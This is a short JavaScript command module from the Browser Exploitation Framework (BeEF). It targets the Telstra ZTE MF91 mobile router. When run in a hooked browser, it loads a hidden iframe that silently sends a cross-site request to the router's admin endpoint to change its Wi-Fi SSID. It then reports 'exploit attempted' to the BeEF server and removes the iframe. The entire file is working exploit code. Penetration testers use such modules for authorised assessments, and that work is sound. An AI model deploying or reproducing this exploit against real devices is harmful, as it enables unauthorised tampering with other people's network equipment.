//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var rhost = '<%= @rhost %>'; 
  var ssid = '<%= @ssid %>';
  var timeout = 15;

  var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
  telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/wlan_set_basic_sap_profile?ssid='+ssid);

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>);
  }
  setTimeout("cleanup()", timeout*1000);

});

